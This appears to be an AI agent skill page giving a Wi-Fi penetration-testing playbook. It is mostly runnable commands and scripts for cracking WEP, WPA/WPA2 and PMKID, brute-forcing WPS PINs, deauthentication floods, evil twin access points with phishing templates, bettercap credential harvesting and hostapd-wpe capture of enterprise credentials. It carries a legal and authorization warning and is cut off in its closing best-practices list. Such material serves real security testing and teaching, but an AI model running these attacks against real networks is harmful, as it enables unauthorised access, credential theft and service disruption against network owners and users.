# Wireless Security Wifi Pentesting

> Expertise in Wi-Fi penetration testing using aircrack-ng, monitor mode, WEP/WPA/WPA2/WPA3 cracking, and wireless security assessment.

- Skill: `aradotso-security-skills/wireless-security-wifi-pentesting` (Agent Skill)
- Install (CLI): `npx skillmds@latest add aradotso-security-skills/wireless-security-wifi-pentesting`
- Raw SKILL.md: https://api.skillmd.com/api/skills/aradotso-security-skills/wireless-security-wifi-pentesting/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: aradotso (https://skillmd.com/u/aradotso-security-skills)
- Updated: 2026-09-10
- Page: https://skillmd.com/skills/aradotso-security-skills/wireless-security-wifi-pentesting

---


# Wireless Security & WiFi Penetration Testing

> Skill by [ara.so](https://ara.so) — Security Skills collection.

This skill provides expertise in wireless security assessment and Wi-Fi penetration testing using the aircrack-ng suite and related tools on Kali Linux. It covers 802.11 protocol analysis, monitor mode setup, WEP/WPA/WPA2/WPA3 attacks, rogue AP deployment, and enterprise wireless assessment.

## Project Overview

The Wireless Security & WiFi Penetration Testing project is a comprehensive, hands-on curriculum covering:
- 802.11 standards and wireless fundamentals
- Monitor mode and packet injection setup
- Wireless reconnaissance and traffic analysis
- WEP cracking (multiple attack vectors)
- WPA/WPA2 handshake capture and cracking
- PMKID attacks (handshake-less)
- WPA3 and advanced attacks (KRACK, Dragonblood)
- Rogue access points and evil twin attacks
- Enterprise WPA (EAP/RADIUS) assessment
- Wireless hardening and defense

**⚠️ Legal Warning:** All techniques must only be used on networks you own or have explicit written authorization to test. Unauthorized wireless attacks are illegal.

## Hardware Requirements

### Wireless Adapters

You need an **injection-capable** wireless adapter. Built-in laptop Wi-Fi cards typically don't support monitor mode or packet injection.

**Recommended chipsets:**
- **Atheros AR9271** (TP-Link TL-WN722N v1, Alfa AWUS036NHA)
- **Ralink RT3070/RT5372** (Alfa AWUS036NH, Panda PAU09)

**Critical:** Only TP-Link TL-WN722N **version 1** has the Atheros chipset. V2/V3 use Realtek and don't support injection reliably.

### Test Environment

- 1-2 wireless adapters (one for capture, one optional for rogue AP)
- Test access point you own (with WEP/WPA/WPA2 configured)
- Client device(s) for testing
- Kali Linux (bare-metal or VM with USB passthrough)

## Installation & Setup

### Core Tools (Pre-installed on Kali)

```bash
# Update package lists
sudo apt update

# Install aircrack-ng suite (usually pre-installed)
sudo apt install aircrack-ng

# Install additional wireless tools
sudo apt install wireless-tools iw

# Install cracking tools
sudo apt install hashcat hcxtools hcxdumptool

# Install WPS attack tools
sudo apt install reaver bully

# Install rogue AP tools
sudo apt install hostapd dnsmasq

# Install traffic analysis tools
sudo apt install wireshark tcpdump bettercap

# Install wireless IDS
sudo apt install kismet
```

### Verify Adapter Capabilities

```bash
# List wireless interfaces
iwconfig

# Check if adapter supports monitor mode
iw list | grep -A 10 "Supported interface modes"

# Expected output should include:
# * monitor

# Check for injection support
iw list | grep -A 10 "Supported commands"

# Should include:
# * set_channel
# * frame
```

## Monitor Mode Setup

### Enable Monitor Mode

```bash
# Check current wireless interfaces
iwconfig

# Kill interfering processes
sudo airmon-ng check kill

# Enable monitor mode on wlan0
sudo airmon-ng start wlan0

# Verify monitor interface created (usually wlan0mon)
iwconfig

# Alternative method using iw/ip
sudo ip link set wlan0 down
sudo iw dev wlan0 set type monitor
sudo ip link set wlan0 up
```

### Test Packet Injection

```bash
# Test injection capability
sudo aireplay-ng --test wlan0mon

# Expected output:
# Trying broadcast probe requests...
# Injection is working!
# Found X APs

# Test injection against specific AP
sudo aireplay-ng --test -a <AP_MAC> wlan0mon
```

### Disable Monitor Mode

```bash
# Stop monitor mode
sudo airmon-ng stop wlan0mon

# Restart NetworkManager
sudo systemctl start NetworkManager
```

## Wireless Reconnaissance

### Basic Network Scanning

```bash
# Scan for all networks on all channels
sudo airodump-ng wlan0mon

# Scan specific channel (e.g., channel 6)
sudo airodump-ng -c 6 wlan0mon

# Scan specific band (2.4GHz or 5GHz)
sudo airodump-ng --band abg wlan0mon  # All bands
sudo airodump-ng --band a wlan0mon    # 5GHz only
sudo airodump-ng --band bg wlan0mon   # 2.4GHz only

# Output explanation:
# BSSID: AP MAC address
# PWR: Signal strength
# Beacons: Beacon frames seen
# #Data: Data packets captured
# CH: Channel
# ENC: Encryption (WEP/WPA/WPA2/WPA3)
# ESSID: Network name
```

### Targeted Reconnaissance

```bash
# Focus on specific BSSID and write to file
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon

# This creates files:
# capture-01.cap (packet capture)
# capture-01.csv (data in CSV)
# capture-01.kismet.csv (Kismet format)
# capture-01.kismet.netxml (Kismet XML)

# Filter for specific ESSID
sudo airodump-ng --essid "TargetNetwork" wlan0mon

# Show only clients (stations)
sudo airodump-ng --showack wlan0mon
```

### Discover Hidden SSIDs

```bash
# Passive: Monitor until client connects
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF wlan0mon

# Active: Deauth clients to force reconnection (reveals SSID)
# Terminal 1: Capture
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w hidden wlan0mon

# Terminal 2: Deauth to force SSID broadcast
sudo aireplay-ng --deauth 5 -a AA:BB:CC:DD:EE:FF wlan0mon
```

## WEP Attacks

### Passive WEP Cracking

```bash
# Capture IVs (needs ~40,000-85,000 IVs)
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w wep_capture wlan0mon

# Once enough IVs captured, crack offline
aircrack-ng wep_capture-01.cap

# With specific BSSID
aircrack-ng -b AA:BB:CC:DD:EE:FF wep_capture-01.cap
```

### Active WEP Cracking (Fake Authentication)

```bash
# Terminal 1: Start capture
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w wep_active wlan0mon

# Terminal 2: Fake authentication
sudo aireplay-ng --fakeauth 0 -a AA:BB:CC:DD:EE:FF -h <YOUR_MAC> wlan0mon

# Terminal 3: ARP replay attack (generates traffic)
sudo aireplay-ng --arpreplay -b AA:BB:CC:DD:EE:FF -h <YOUR_MAC> wlan0mon

# Terminal 4: Crack as IVs accumulate
aircrack-ng -b AA:BB:CC:DD:EE:FF wep_active-01.cap
```

### WEP Chop-Chop Attack

```bash
# Terminal 1: Capture
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w chopchop wlan0mon

# Terminal 2: Fake auth
sudo aireplay-ng --fakeauth 0 -a AA:BB:CC:DD:EE:FF -h <YOUR_MAC> wlan0mon

# Terminal 3: Chop-chop attack
sudo aireplay-ng --chopchop -b AA:BB:CC:DD:EE:FF -h <YOUR_MAC> wlan0mon

# Creates .xor file, forge packet from it
sudo packetforge-ng --arp -a AA:BB:CC:DD:EE:FF -h <YOUR_MAC> -k 255.255.255.255 -l 255.255.255.255 -y <XOR_FILE> -w forged.cap

# Replay forged packet
sudo aireplay-ng --interactive -r forged.cap wlan0mon

# Crack
aircrack-ng chopchop-01.cap
```

## WPA/WPA2 Handshake Capture

### Capture WPA Handshake

```bash
# Terminal 1: Start capture
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w wpa_capture wlan0mon

# Terminal 2: Deauth clients to force handshake
# Deauth all clients
sudo aireplay-ng --deauth 10 -a AA:BB:CC:DD:EE:FF wlan0mon

# Deauth specific client
sudo aireplay-ng --deauth 10 -a AA:BB:CC:DD:EE:FF -c <CLIENT_MAC> wlan0mon

# Watch Terminal 1 for "WPA handshake: AA:BB:CC:DD:EE:FF"

# Verify handshake in capture
aircrack-ng wpa_capture-01.cap
```

### Crack WPA/WPA2 PSK

```bash
# Crack with wordlist
aircrack-ng -w /usr/share/wordlists/rockyou.txt -b AA:BB:CC:DD:EE:FF wpa_capture-01.cap

# Crack with specific ESSID
aircrack-ng -w wordlist.txt -e "NetworkName" wpa_capture-01.cap

# Show networks in capture
aircrack-ng wpa_capture-01.cap

# Generate custom wordlist with crunch
crunch 8 8 -t pass@@@@ -o wordlist.txt

# Use hashcat (faster, GPU-accelerated)
# Convert cap to hccapx format
hcxpcapngtool -o hash.hc22000 wpa_capture-01.cap

# Crack with hashcat (mode 22000 for WPA/WPA2)
hashcat -m 22000 -a 0 hash.hc22000 /usr/share/wordlists/rockyou.txt

# Hashcat with rules
hashcat -m 22000 -a 0 hash.hc22000 wordlist.txt -r /usr/share/hashcat/rules/best64.rule

# Show cracked passwords
hashcat -m 22000 hash.hc22000 --show
```

## PMKID Attack (Handshake-less WPA2)

```bash
# Capture PMKID (no client needed!)
sudo hcxdumptool -i wlan0mon -o pmkid.pcapng --enable_status=1

# Convert to hashcat format
hcxpcapngtool -o pmkid.hc22000 pmkid.pcapng

# Crack with hashcat
hashcat -m 22000 -a 0 pmkid.hc22000 /usr/share/wordlists/rockyou.txt

# Alternative: Use old format (deprecated but may work)
hcxpcaptool -z pmkid.16800 pmkid.pcapng
hashcat -m 16800 -a 0 pmkid.16800 wordlist.txt
```

## WPS Attacks

### WPS PIN Brute Force

```bash
# Scan for WPS-enabled APs
wash -i wlan0mon

# Reaver attack (online brute force)
sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -vv

# Reaver with delay (avoid rate limiting)
sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -vv -d 2 -T 0.5

# Bully attack (alternative)
sudo bully -b AA:BB:CC:DD:EE:FF -c 6 wlan0mon

# PixieWPS attack (offline)
sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -vv -K 1
```

## Denial of Service Attacks

### Deauthentication Attack

```bash
# Deauth all clients from AP (continuous)
sudo aireplay-ng --deauth 0 -a AA:BB:CC:DD:EE:FF wlan0mon

# Deauth specific client
sudo aireplay-ng --deauth 0 -a AA:BB:CC:DD:EE:FF -c <CLIENT_MAC> wlan0mon

# Deauth with count (10 packets)
sudo aireplay-ng --deauth 10 -a AA:BB:CC:DD:EE:FF wlan0mon

# MDK3 beacon flood
sudo mdk3 wlan0mon b -a

# MDK3 deauth flood
sudo mdk3 wlan0mon d -c 6
```

## Rogue Access Point / Evil Twin

### Basic Evil Twin with hostapd

```bash
# Create hostapd config
cat > evil_twin.conf << 'EOF'
interface=wlan0
driver=nl80211
ssid=FreeWiFi
hw_mode=g
channel=6
macaddr_acl=0
ignore_broadcast_ssid=0
auth_algs=1
wpa=0
EOF

# Start evil twin
sudo hostapd evil_twin.conf
```

### Evil Twin with WPA2

```bash
# WPA2 evil twin config
cat > evil_wpa2.conf << 'EOF'
interface=wlan0
driver=nl80211
ssid=CorporateWiFi
hw_mode=g
channel=6
macaddr_acl=0
auth_algs=1
ignore_broadcast_ssid=0
wpa=2
wpa_passphrase=password123
wpa_key_mgmt=WPA-PSK
wpa_pairwise=TKIP CCMP
rsn_pairwise=CCMP
EOF

sudo hostapd evil_wpa2.conf
```

### Evil Twin with Internet Sharing

```bash
# Setup DHCP server
cat > /tmp/dnsmasq.conf << 'EOF'
interface=wlan0
dhcp-range=10.0.0.10,10.0.0.100,12h
dhcp-option=3,10.0.0.1
dhcp-option=6,10.0.0.1
server=8.8.8.8
log-queries
log-dhcp
EOF

# Configure IP and routing
sudo ip addr add 10.0.0.1/24 dev wlan0
sudo ip link set wlan0 up

# Enable IP forwarding
sudo sysctl -w net.ipv4.ip_forward=1

# Setup NAT (replace eth0 with your internet interface)
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
sudo iptables -A FORWARD -i wlan0 -o eth0 -j ACCEPT
sudo iptables -A FORWARD -i eth0 -o wlan0 -m state --state RELATED,ESTABLISHED -j ACCEPT

# Start DHCP
sudo dnsmasq -C /tmp/dnsmasq.conf -d

# Start evil twin
sudo hostapd evil_twin.conf
```

### Automated Evil Twin with wifiphisher

```bash
# Install wifiphisher
sudo apt install wifiphisher

# Run automated evil twin attack
sudo wifiphisher -i wlan0 -e "TargetNetwork"

# With specific template
sudo wifiphisher -i wlan0 -e "TargetNetwork" -p firmware-upgrade

# Available templates:
# - firmware-upgrade
# - oauth-login
# - browser-plugin-update
```

### Capture Credentials with bettercap

```bash
# Create caplet for credential harvesting
cat > evil.cap << 'EOF'
set wifi.ap.ssid FreeWiFi
set wifi.ap.bssid <SPOOF_MAC>
set wifi.ap.channel 6
set wifi.ap.encryption false
set net.sniff.verbose true
set net.sniff.local true

wifi.recon on
wifi.ap
net.sniff on
http.proxy on
https.proxy on
EOF

# Run bettercap with caplet
sudo bettercap -iface wlan0 -caplet evil.cap
```

## WPA3 Attacks

### Dragonblood (SAE Downgrade)

```bash
# Use hostapd-wpe for WPA3 testing
git clone https://github.com/OpenSecurityResearch/hostapd-wpe
cd hostapd-wpe
make

# Configure for WPA3
cat > wpa3_test.conf << 'EOF'
interface=wlan0
driver=nl80211
ssid=TestWPA3
hw_mode=g
channel=6
wpa=2
wpa_key_mgmt=SAE
rsn_pairwise=CCMP
sae_password=testpassword
ieee80211w=2
EOF

# Run and capture handshakes
sudo ./hostapd wpa3_test.conf
```

### PMKID on WPA3

```bash
# Attempt PMKID capture (may work on misconfigured WPA3)
sudo hcxdumptool -i wlan0mon -o wpa3_pmkid.pcapng --enable_status=1 --filterlist_ap=targets.txt --filtermode=2

# Convert and crack
hcxpcapngtool -o wpa3.hc22000 wpa3_pmkid.pcapng
hashcat -m 22000 -a 0 wpa3.hc22000 wordlist.txt
```

## Enterprise WPA (802.1X / RADIUS)

### Capture EAP Credentials

```bash
# Monitor enterprise network
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w eap_capture wlan0mon

# Look for EAPOL frames in capture

# Use hostapd-wpe (WPA Enterprise)
sudo hostapd-wpe hostapd-wpe.conf

# Configuration for PEAP/EAP-TTLS capture
cat > hostapd-wpe.conf << 'EOF'
interface=wlan0
driver=nl80211
ssid=CorpNet
channel=6
hw_mode=g
wpa=2
wpa_key_mgmt=WPA-EAP
wpa_pairwise=CCMP
auth_algs=3
ieee8021x=1
eapol_key_index_workaround=0
eap_server=1
eap_user_file=hostapd.eap_user
ca_cert=/etc/hostapd-wpe/certs/ca.pem
server_cert=/etc/hostapd-wpe/certs/server.pem
private_key=/etc/hostapd-wpe/certs/server.key
private_key_passwd=
dh_file=/etc/hostapd-wpe/certs/dh
EOF

# EAP user file
cat > hostapd.eap_user << 'EOF'
* PEAP,TTLS,TLS,FAST
"t" TTLS-PAP,TTLS-CHAP,TTLS-MSCHAP,MSCHAPV2,MD5,GTC,TTLS,TTLS-MSCHAPV2 "t" [2]
EOF

# Credentials are logged to hostapd-wpe.log
```

### Crack EAP Hashes

```bash
# Extract challenge/response from hostapd-wpe.log
# Format: username:challenge:response

# Crack MSCHAPv2 with asleap
asleap -C <challenge> -R <response> -W wordlist.txt

# Or use hashcat
# Extract from log and format properly, then:
hashcat -m 5500 -a 0 mschapv2.hash wordlist.txt
```

## Traffic Analysis

### Analyze Captured Packets

```bash
# Open in Wireshark
wireshark capture-01.cap

# Filter for specific traffic in Wireshark:
# wlan.fc.type_subtype == 0x08  (Beacon frames)
# wlan.fc.type_subtype == 0x00  (Association request)
# eapol                          (WPA handshakes)
# wlan.fc.type_subtype == 0x0c  (Deauth frames)

# Use tshark for CLI analysis
tshark -r capture-01.cap -Y "eapol"

# Extract handshakes
tshark -r capture-01.cap -Y "eapol" -w handshake.cap

# Statistics
tshark -r capture-01.cap -q -z io,stat,1

# Count frame types
tshark -r capture-01.cap -q -z wlan,stat
```

## Wireless Hardening Checks

### Scan for Vulnerabilities

```bash
# Check for WPS
wash -i wlan0mon

# Check for weak encryption
sudo airodump-ng wlan0mon | grep -E "WEP|WPA "

# Check for hidden networks
sudo airodump-ng wlan0mon --showack

# Detect rogue APs (compare BSSIDs)
sudo airodump-ng -c 6 wlan0mon -w baseline
```

### Test Management Frame Protection (802.11w)

```bash
# Deauth attack should fail on 802.11w networks
sudo aireplay-ng --deauth 10 -a AA:BB:CC:DD:EE:FF wlan0mon

# If deauth works, 802.11w is not enabled
```

## Configuration Files

### Common aircrack-ng Options

```bash
# ~/.aircrackrc (not commonly used, but possible)
# Most config is via command-line arguments

# Environment variables
export AIRCRACK_NG_KEY_PATH=/path/to/wordlists
export AIRCRACK_NG_DEBUG=1
```

### Wordlist Locations

```bash
# Default Kali wordlists
/usr/share/wordlists/rockyou.txt
/usr/share/wordlists/rockyou.txt.gz  # Need to gunzip first

# Extract rockyou
sudo gunzip /usr/share/wordlists/rockyou.txt.gz

# SecLists (install separately)
git clone https://github.com/danielmiessler/SecLists.git
```

## Troubleshooting

### Adapter Not Entering Monitor Mode

```bash
# Kill interfering processes
sudo airmon-ng check kill

# Manually set monitor mode
sudo ip link set wlan0 down
sudo iw dev wlan0 set monitor control
sudo ip link set wlan0 up

# Check interface mode
iwconfig wlan0

# Verify with iw
iw dev wlan0 info

# Check for firmware issues
dmesg | tail -n 50
```

### Injection Test Fails

```bash
# Verify adapter supports injection
iw list | grep -A 10 "Supported commands"

# Check for channel/regulatory issues
sudo iw reg set US  # Set to your country
iw reg get

# Verify you're on correct channel
sudo iw dev wlan0mon set channel 6

# Test injection without encryption
sudo aireplay-ng --test wlan0mon

# If fails, check chipset compatibility
lsusb  # Find vendor/product ID
```

### No Handshake Captured

```bash
# Ensure you're on the right channel
sudo airodump-ng -c <AP_CHANNEL> --bssid <AP_MAC> -w capture wlan0mon

# Ensure clients are connected (watch STATION column)

# Increase deauth count
sudo aireplay-ng --deauth 20 -a <AP_MAC> wlan0mon

# Try targeting specific client
sudo aireplay-ng --deauth 20 -a <AP_MAC> -c <CLIENT_MAC> wlan0mon

# Verify capture contains EAPOL frames
tshark -r capture-01.cap -Y eapol

# Check with aircrack-ng
aircrack-ng capture-01.cap
# Look for "1 handshake" in output
```

### Aircrack-ng Shows No Networks

```bash
# Verify capture contains data
ls -lh capture-01.cap

# Check with tshark
tshark -r capture-01.cap | head

# Ensure capture is on correct channel
# Re-capture with explicit channel:
sudo airodump-ng -c 6 -w new_capture wlan0mon
```

### Cracking Takes Forever

```bash
# Use GPU acceleration with hashcat instead
hcxpcapngtool -o hash.hc22000 capture-01.cap
hashcat -m 22000 -a 0 hash.hc22000 -w 3 wordlist.txt

# Check hashcat performance
hashcat -m 22000 -b

# Use rules to expand wordlist
hashcat -m 22000 hash.hc22000 wordlist.txt -r /usr/share/hashcat/rules/best64.rule

# Try mask attack for known patterns
hashcat -m 22000 -a 3 hash.hc22000 ?d?d?d?d?d?d?d?d  # 8 digits
```

### hostapd Fails to Start

```bash
# Check interface is not in use
sudo airmon-ng check kill
sudo systemctl stop NetworkManager

# Ensure interface is up
sudo ip link set wlan0 up

# Check for configuration errors
sudo hostapd -dd hostapd.conf

# Verify channel is valid
iw list | grep -A 20 "Frequencies"

# Check for conflicting processes
sudo lsof | grep wlan0
```

### Evil Twin Not Visible to Clients

```bash
# Ensure channel matches target AP
# Ensure MAC is spoofed if needed
sudo macchanger -m <TARGET_MAC> wlan0

# Verify AP is broadcasting
sudo airodump-ng wlan0mon

# Check signal strength (clients prefer stronger signal)
# Increase TX power (be mindful of regulations)
sudo iw dev wlan0 set txpower fixed 2000  # 20dBm

# Deauth clients from legitimate AP
sudo aireplay-ng --deauth 0 -a <LEGIT_AP_MAC> wlan0mon
```

## Common Patterns

### Complete WPA2 Assessment Workflow

```bash
#!/bin/bash
# Full WPA2 PSK assessment

INTERFACE="wlan0mon"
TARGET_BSSID="AA:BB:CC:DD:EE:FF"
TARGET_CHANNEL="6"
OUTPUT_PREFIX="target_capture"
WORDLIST="/usr/share/wordlists/rockyou.txt"

# 1. Enable monitor mode
sudo airmon-ng start wlan0

# 2. Start capture
sudo airodump-ng -c "$TARGET_CHANNEL" --bssid "$TARGET_BSSID" \
  -w "$OUTPUT_PREFIX" "$INTERFACE" &
AIRODUMP_PID=$!

# 3. Wait for clients
sleep 10

# 4. Deauth to capture handshake
sudo aireplay-ng --deauth 10 -a "$TARGET_BSSID" "$INTERFACE"

# 5. Wait for handshake
sleep 5

# 6. Stop capture
kill $AIRODUMP_PID

# 7. Verify handshake
if aircrack-ng "${OUTPUT_PREFIX}-01.cap" | grep -q "1 handshake"; then
  echo "[+] Handshake captured!"
  
  # 8. Convert for hashcat
  hcxpcapngtool -o hash.hc22000 "${OUTPUT_PREFIX}-01.cap"
  
  # 9. Crack with hashcat
  hashcat -m 22000 -a 0 hash.hc22000 "$WORDLIST" -w 3
  
  # 10. Show results
  hashcat -m 22000 hash.hc22000 --show
else
  echo "[-] No handshake captured, try again"
fi

# 11. Cleanup
sudo airmon-ng stop "$INTERFACE"
```

### Automated PMKID Capture and Crack

```bash
#!/bin/bash
# PMKID attack (no handshake needed)

INTERFACE="wlan0mon"
OUTPUT="pmkid_capture"
WORDLIST="/usr/share/wordlists/rockyou.txt"

# Enable monitor mode
sudo airmon-ng start wlan0

# Capture PMKIDs (runs for 2 minutes)
timeout 120 sudo hcxdumptool -i "$INTERFACE" -o "${OUTPUT}.pcapng" \
  --enable_status=1

# Convert to hashcat format
hcxpcapngtool -o "${OUTPUT}.hc22000" "${OUTPUT}.pcapng"

# Crack
hashcat -m 22000 -a 0 "${OUTPUT}.hc22000" "$WORDLIST" -w 3

# Show cracked passwords
hashcat -m 22000 "${OUTPUT}.hc22000" --show

# Cleanup
sudo airmon-ng stop "$INTERFACE"
```

### Multi-Channel Hopping Recon

```bash
#!/bin/bash
# Scan all channels and save results

INTERFACE="wlan0mon"
OUTPUT="full_recon"
DURATION=10  # seconds per channel

sudo airmon-ng start wlan0

for channel in 1 2 3 4 5 6 7 8 9 10 11; do
  echo "[*] Scanning channel $channel"
  timeout "$DURATION" sudo airodump-ng -c "$channel" \
    -w "${OUTPUT}_ch${channel}" "$INTERFACE"
done

# Merge all captures
mergecap -w "${OUTPUT}_merged.cap" ${OUTPUT}_ch*.cap

echo "[+] Recon complete. Analyze with:"
echo "    wireshark ${OUTPUT}_merged.cap"

sudo airmon-ng stop "$INTERFACE"
```

## Best Practices

1. **Always get written authorization** before testing any wireless network
2. **Isolate your test lab** - use low TX power and RF shielding
3. **Take snapshots** before each attack in case you need to revert
4. **Test injection** before starting attacks - save time debugging
5. **Use hashcat** for cracking whenever possible - much faster than aircrack-ng
6. **Monitor airodump output** - ensure you're capturing target traffic
7. **Document everything** - channels, BSSIDs, client MACs, timestamps
8. **Clean up** - disable monitor mode and restart NetworkManager when done
9. **Use wordlists strategically** - start with common passwords, then expand
10. **Understand the protocol